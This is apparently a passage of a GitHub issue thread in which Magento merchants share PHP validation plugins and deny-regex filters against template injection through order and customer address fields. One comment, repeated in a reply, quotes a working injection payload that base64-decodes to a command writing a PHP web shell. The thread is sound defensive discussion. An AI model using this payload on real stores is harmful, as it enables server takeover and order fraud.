            return $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            return $_SERVER['HTTP_X_REAL_IP'];
        } else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }

    private function validateInput($input, $fieldName)
    {
        // Check for disallowed characters
        if (preg_match('/[{}<>%]/', $input)) {
            throw new InputException(__("Invalid characters in $fieldName."));
        }

        // Length validation (if applicable)
        if (strlen($input) > 30) {
            throw new InputException(__("$fieldName cannot exceed 30 characters."));
        }
    }

    public function beforeSave(OrderRepositoryInterface $subject, $order)
    {
        $isApiOrder = false;

        // Check if the order is placed via API by inspecting the current request
        if (php_sapi_name() !== 'cli' && isset($_SERVER['HTTP_USER_AGENT'])) {
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            if (strpos($userAgent, 'REST') !== false || strpos($userAgent, 'API') !== false) {
                $isApiOrder = true;
            }
        }

        try {
            // Validate firstname, lastname, and other fields for disallowed characters
            $this->validateInput($order->getCustomerFirstname(), 'First Name');
            $this->validateInput($order->getCustomerLastname(), 'Last Name');
            $this->validateInput($order->getBillingAddress()->getCity(), 'Billing City');
            $this->validateInput($order->getBillingAddress()->getPostcode(), 'Billing Postcode');
            $this->validateInput($order->getBillingAddress()->getStreetLine(1), 'Billing Street Address');
            $this->validateInput($order->getShippingAddress()->getCity(), 'Shipping City');
            $this->validateInput($order->getShippingAddress()->getPostcode(), 'Shipping Postcode');
            $this->validateInput($order->getShippingAddress()->getStreetLine(1), 'Shipping Street Address');

            // Assuming there is a field for order comments:
            if ($order->getCustomerNote()) {
                $this->validateInput($order->getCustomerNote(), 'Order Comments');
            }

            // Log the source of the order and additional request details
            $orderSource = $isApiOrder ? 'API' : 'Web';
            $this->logger->info('Order placed via ' . $orderSource . ': Order ID ' . $order->getEntityId());

            $this->logger->info('Order Details', [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);
        } catch (InputException $e) {
            // Log the unsuccessful attempt
            $this->logger->warning('Unsuccessful order attempt: ' . $e->getMessage(), [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);

            // Rethrow the exception to stop the order from being saved
            throw $e;
        }
    }
}

Added validation of - shpping address, billing address, post code, city, order comments and disallow more than 30 characters in firstname and lastname too.

I'd be very cautious of restricting address fields to 30 chars - first line of our office us 34 chars long so we'd fail that check.

bafmaamy commented 1 month ago

@ssx Yes my bad, you are right. Just updated the code to validate the lenght only for firstname and lastname

in-session commented 1 month ago

I think most solutions are currently still on the order process and the basic idea of the approach was to implement various validations in the core, which are implemented in the Magento core. The code injection is currently not only applied to the order process but also to other areas. You should therefore be careful with the maximum values based on the regex. The approach in the pull https://github.com/magento/magento2/pull/39030 was based on the idea that the validations are carried out in different processes and, if validated, are passed on unchanged. I think this is a very good idea with the logs and should perhaps also be done via a new security.log. But I won't be able to continue working on it until next week, so if anyone would like to contribute something or integrate further ideas, please feel free to do so.

RotzGott commented 1 month ago

@bafmaamy : your custom module fix works for the special characters {} but / \ [ ] still can be used in first/last name

bafmaamy commented 1 month ago

@RotzGott you can include them in the regular expression used in the preg_match function:

if (preg_match('/[{}<>%\/\\\\\[\]]/', $input)) {

Now validation is for:

{, }, <, >, %.
/ and \ (escaped as \/ and \\ respectively).
[ and ] (escaped as [ and ] respectively).

Also added:

 if (empty($input)) {
        return;
        }
        {

to check if input is null or empty, then skip validation if it is (like Company name)

RotzGott commented 1 month ago

@bafmaamy : works like a charm - thanks a lot!

Max-Leps commented 1 month ago

@bafmaamy

@Max-Leps you can update the code of app/code/{Vendor}/{Your Module}/Plugin/OrderSourceLogger.php; with:

<?php
namespace {Vendor}/{Your Module}\Plugin;

use Magento\Sales\Api\OrderRepositoryInterface;
use Psr\Log\LoggerInterface;
use Magento\Framework\Exception\InputException;

class OrderSourceLogger
{
    protected $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    private function getClientIp()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            return $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            return $_SERVER['HTTP_X_REAL_IP'];
        } else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }

    private function validateInput($input, $fieldName, $maxLength = null)  {
        // Check if input is null or empty, skip validation if it is
   if (empty($input)) {
      return;
      }

        // Check for disallowed characters
        if (preg_match('/[{}<>%]/', $input)) {
            throw new InputException(__("Invalid characters in $fieldName."));
        }

        // Length validation if maxLength is provided
        if ($maxLength !== null && strlen($input) > $maxLength) {
            throw new InputException(__("$fieldName cannot exceed $maxLength characters."));
        }
    }

    public function beforeSave(OrderRepositoryInterface $subject, $order)
    {
        $isApiOrder = false;

        // Check if the order is placed via API by inspecting the current request
        if (php_sapi_name() !== 'cli' && isset($_SERVER['HTTP_USER_AGENT'])) {
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            if (strpos($userAgent, 'REST') !== false || strpos($userAgent, 'API') !== false) {
                $isApiOrder = true;
            }
        }

        try {
            // Validate firstname and lastname with length limit
            $this->validateInput($order->getCustomerFirstname(), 'First Name', 30);
            $this->validateInput($order->getCustomerLastname(), 'Last Name', 30);

            // Validate company and other address fields for disallowed characters
            $billingAddress = $order->getBillingAddress();
            $shippingAddress = $order->getShippingAddress();

            if ($billingAddress) {
                $this->validateInput($billingAddress->getCompany(), 'Billing Company');
                $this->validateInput($billingAddress->getCity(), 'Billing City');
                $this->validateInput($billingAddress->getPostcode(), 'Billing Postcode');
                $this->validateInput($billingAddress->getStreetLine(1), 'Billing Street Address');
            }

            if ($shippingAddress) {
                $this->validateInput($shippingAddress->getCompany(), 'Shipping Company');
                $this->validateInput($shippingAddress->getCity(), 'Shipping City');
                $this->validateInput($shippingAddress->getPostcode(), 'Shipping Postcode');
                $this->validateInput($shippingAddress->getStreetLine(1), 'Shipping Street Address');
            }

            // Assuming there is a field for order comments
            if ($order->getCustomerNote()) {
                $this->validateInput($order->getCustomerNote(), 'Order Comments');
            }

            // Log the source of the order and additional request details
            $orderSource = $isApiOrder ? 'API' : 'Web';
            $this->logger->info('Order placed via ' . $orderSource . ': Order ID ' . $order->getEntityId());

            $this->logger->info('Order Details', [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);
        } catch (InputException $e) {
            // Log the unsuccessful attempt
            $this->logger->warning('Unsuccessful order attempt: ' . $e->getMessage(), [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);

            // Rethrow the exception to stop the order from being saved
            throw $e;
        }
    }
}

Added validation of - shpping address, billing address, post code, city, order comments and disallow more than 30 characters in firstname and lastname too.

Hello

Thank you so much for your effort, I really appreciate it! You seem to be very talented in Magento and coding. I'm impressed.

But you have missed some fields. I think if we left some unrestricted fields they still can inject the code.

Actually can you filter all these fields:

first name last name email company street address line 1 street address line 2 country state city postcode phone number order comments (if it's there)

And can you do it for all possible inputs like:

Shipping address Billing address Customer registration

After that we all be 99.99% protected Right?

Cheers Max

bafmaamy commented 1 month ago

@ssx @RotzGott @Max-Leps Yea, It's a great idea everything to be validated.

Just finished the module. Now every field is protected.

https://github.com/bafmaamy/Magento-FieldValidator

Tested on 2.4.6

@in-session I really want to help about this, but not enough skills to touch the core of magento. Now the module validating fields of Order Creation, Customer Creation, Customer Name Update, Customer Address Update and save every unsuccessful attempt. Hope this can help.

ganeddact commented 4 weeks ago

if the problem with firstname and lastname gets solved sooner or later, how is it possible to place an order bypassing the payment altogether like attackers are doing? I don't think it's related with the firstname and lastname content. Orders look legit apart from those values, and some people may fall to fulfil them without checking if a payment has gone through

ssx commented 4 weeks ago

if the problem with firstname and lastname gets solved sooner or later, how is it possible to place an order bypassing the payment altogether like attackers are doing? I don't think it's related with the firstname and lastname content. Orders look legit apart from those values, and some people may fall to fulfil them without checking if a payment has gone through

Some payments are completed in two steps, usually when a payment gateway is set to redirect mode. In these situations, the order is placed into Pending Payment, they go off to complete payment and the order is updated once they return.

jonaschen623 commented 4 weeks ago

Just an update, today when I try to place an order with name/address fields {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Magento (Commerce Cloud 2.4.6-p6) returns 400 bad request error with message "malformed request".

Aug security patch hasn't applied yet.

This error shows for both the frontend and API and stops placing an order.

Last week, I could still replicate this issue in the STG environment.

Probably Adobe Cloud Team applied Fastly rules just now.

Update Adobe team has confirmed, they've done nothing as this is not considered a bug. They recommend blocking suspicious IPs using Fastly.

ssx commented 4 weeks ago

Just an update, today when I try to place an order with name/address fields {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Magento (Commerce Cloud 2.4.6-p6) returns 400 bad request error with message "malformed request".

Aug security patch hasn't applied yet.

This error shows for both the frontend and API and stops placing an order.

Last week, I could still replicate this issue in the STG environment.

Probably Adobe Cloud Team applied Fastly rules just now.

Yeah I'd imagine so, for our Commerce Cloud clients that's exactly how I did it too!

Max-Leps commented 4 weeks ago

@bafmaamy

@ssx @RotzGott @Max-Leps Yea, It's a great idea everything to be validated.

Just finished the module. Now every field is protected.

https://github.com/bafmaamy/Magento-FieldValidator

Tested on 2.4.6

@in-session I really want to help about this, but not enough skills to touch the core of magento. Now the module validating fields of Order Creation, Customer Creation, Customer Name Update, Customer Address Update and save every unsuccessful attempt. Hope this can help.

Hello Thank you for your effort.

I tested the module and I am still able to inject code during registration

Also I am not getting email when it catches the injection attempt.

bafmaamy commented 4 weeks ago

@Max-Leps yes, forgot about state/region validation. Added in AddressSavePlugin.php :

// Validate State/Region
$region = $address->getRegion();
if ($region) {
    $this->validateInput($region->getRegion(), 'State/Region Name');
    $this->validateInput($region->getRegionCode(), 'State/Region Code');
    $this->validateInput($region->getRegionId(), 'State/Region ID');
}

and similar if statement in OrderSourceLogger.php

Check the updated files: app/code/Bafmaamy/FieldValidator/Plugin/OrderSourceLogger.php app/code/Bafmaamy/FieldValidator/Plugin/AddressSavePlugin.php

About the email notifications, please ensure that mailx is installed and configured correctly on your server. Try: echo "Hello" | mailx -s 'Test' your@email.com Then try with: mail, sendmail, or whatever mail service you are using.

WaPoNe commented 3 weeks ago

Based on https://github.com/bafmaamy/Magento-FieldValidator (great job @bafmaamy!) I've release a similar extension with these different features:

Configuration to enable/disable module;
Configuration to set the regular expression to reject input values;
Configuration to set the limit of characters to use only for the firstname and lastname fields validation;
Configuration to enable/disable invalidation fields results notification;
Configuration to set email addresses to receive invalidation fields results;
Use of Magento mail service;
Added other customer fields;
Use of an abstract class for all the Plugins.

The extension is available here: https://github.com/WaPoNe/module-input-fields-validator and it can be installed by composer:

composer require wapone/module-input-fields-validator

Max-Leps commented 3 weeks ago

@WaPoNe

Based on https://github.com/bafmaamy/Magento-FieldValidator (great job @bafmaamy!) I've release a similar extension with these different features:

Configuration to enable/disable module;

Configuration to set the regular expression to reject input values;

Configuration to set the limit of characters to use only for the firstname and lastname fields validation;

Configuration to enable/disable invalidation fields results notification;

Configuration to set email addresses to receive invalidation fields results;

Use of Magento mail service;

Added other customer fields;

Use of an abstract class for all the Plugins.

The extension is available here: https://github.com/WaPoNe/module-input-fields-validator and it can be installed by composer:

composer require wapone/module-input-fields-validator

That's good but is in conflict with ebizmarts payment plugin https://store.ebizmarts.com/opayo-sagepay-suite-pro-for-magento-2.html

When we enable that module, it stops working with its all extensions even when all the fields are filled in correctly

Cheers

Max-Leps commented 3 weeks ago

@bafmaamy

@Max-Leps yes, forgot about state/region validation. Added in AddressSavePlugin.php :
// Validate State/Region
$region = $address->getRegion();
if ($region) {
    $this->validateInput($region->getRegion(), 'State/Region Name');
    $this->validateInput($region->getRegionCode(), 'State/Region Code');
    $this->validateInput($region->getRegionId(), 'State/Region ID');
}
and similar if statement in OrderSourceLogger.php

Check the updated files: app/code/Bafmaamy/FieldValidator/Plugin/OrderSourceLogger.php app/code/Bafmaamy/FieldValidator/Plugin/AddressSavePlugin.php

About the email notifications, please ensure that mailx is installed and configured correctly on your server. Try: echo "Hello" | mailx -s 'Test' your@email.com Then try with: mail, sendmail, or whatever mail service you are using.

Hi

IDK what you have changed recently but after all this changes it stopped working with payment module I mean this module: https://store.ebizmarts.com/opayo-sagepay-suite-pro-for-magento-2.html

o its in conflict with that module.

Cheers

bafmaamy commented 3 weeks ago

@Max-Leps There is a possibility your payment module to use same kind of validation for the region field or you have enabled both modules together - the WaPoNe's and this one. Check the logs, the error is there.

Otherwise try the old version without the region validation:

In app/code/Bafmaamy/FieldValidator/Plugin/OrderSourceLogger.php comment lines from 60 to 65 and from 73 to 78.

then remove or comment from AddressSavePlugin.php

// Validate State/Region
$region = $address->getRegion();
if ($region) {
    $this->validateInput($region->getRegion(), 'State/Region Name');
    $this->validateInput($region->getRegionCode(), 'State/Region Code');
    $this->validateInput($region->getRegionId(), 'State/Region ID');
}

"

php bin/magento setup:di:compile

frostitution commented 3 weeks ago

@ssx @jonaschen623 We are on cloud, where would we find these changes and if they are applied?

jonaschen623 commented 3 weeks ago

@ssx @jonaschen623 We are on cloud, where would we find these changes and if they are applied?

Adobe confirmed they haven't applied any change.

The only recommendation is blocking suspicious IPs using Fastly.

So I have no clue now. :laughing:

crazytrace commented 3 weeks ago

I am still waiting for the final solution for this issue, currently just blocking their route of the IPv4 IPv6 address via iptables, it seems everything is in order these two weeks by far.

in-session commented 3 weeks ago

OK, I've made a little bit more on it, that should cover the most important things, but it's still in the test phase: https://github.com/magento/magento2/pull/39030

Maybe someone would like to try it out.

bafmaamy commented 3 weeks ago

gj, but still "{" allowed in the Region field and Company field.

Max-Leps commented 3 weeks ago

@in-session

OK, I've made a little bit more on it, that should cover the most important things, but it's still in the test phase: #39030

Maybe someone would like to try it out.

Is it magento core changes? But we already have 2 plugins for filtering all these fields.

jsdupuis commented 3 weeks ago

@Max-Leps I am personally waiting for an official Magento core change, not a custom plugin. Input validation against code injection should be part of the Magento platform. We shouldn't have to install or buy an extension for this.

in-session commented 3 weeks ago

@Max-Leps Yes, I am trying to bring the function into the core, as mentioned by jsdupuis, security-relevant functions should be integrated into the core. In my opinion, a plugin only makes sense here for a temporary solution. As I said, the current solution still has to go through all the tests and I think it also makes sense to add the validation of all postrequests. This has also already been added to the merge: https://github.com/magento/magento2/pull/38345/files In my opinion, this is the right way to go. But I think the patterns are still not correct and I have adapted them and made them globally available so that the fields can also be validated in other functions.

magento / magento2